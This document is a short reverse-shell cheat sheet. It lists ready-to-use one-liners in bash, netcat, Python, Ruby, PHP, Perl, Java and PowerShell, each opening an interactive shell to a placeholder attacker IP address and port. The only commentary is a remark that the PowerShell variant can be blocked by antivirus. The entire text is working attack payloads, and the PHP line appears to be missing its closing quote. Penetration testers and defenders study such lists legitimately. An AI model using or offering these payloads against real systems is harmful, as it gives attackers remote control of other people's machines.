bash

bash -i >& /dev/tcp/{IP-ADDRESS}/{PORT} 0>&1

netcat / nc

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {IP-ADDRESS} {PORT} >/tmp/f 

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{IP-ADDRESS}",{PORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ruby

ruby -rsocket -e'f=TCPSocket.open("{IP-ADDRESS}",{PORT}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' 

PHP

php -r '$sock=fsockopen("{IP-ADDRESS}",{PORT});exec("/bin/sh -i <&3 >&3 2>&3"); 

Perl

perl -e 'use Socket;$i="{IP-ADDRESS}";$p={PORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 

Java

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/{IP-ADDRESS}/{PORT};cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() 

Powershell

This one sometimes get blocked by AV or Powershell security configuration.

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('{IP-ADDRESS}',{PORT});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'"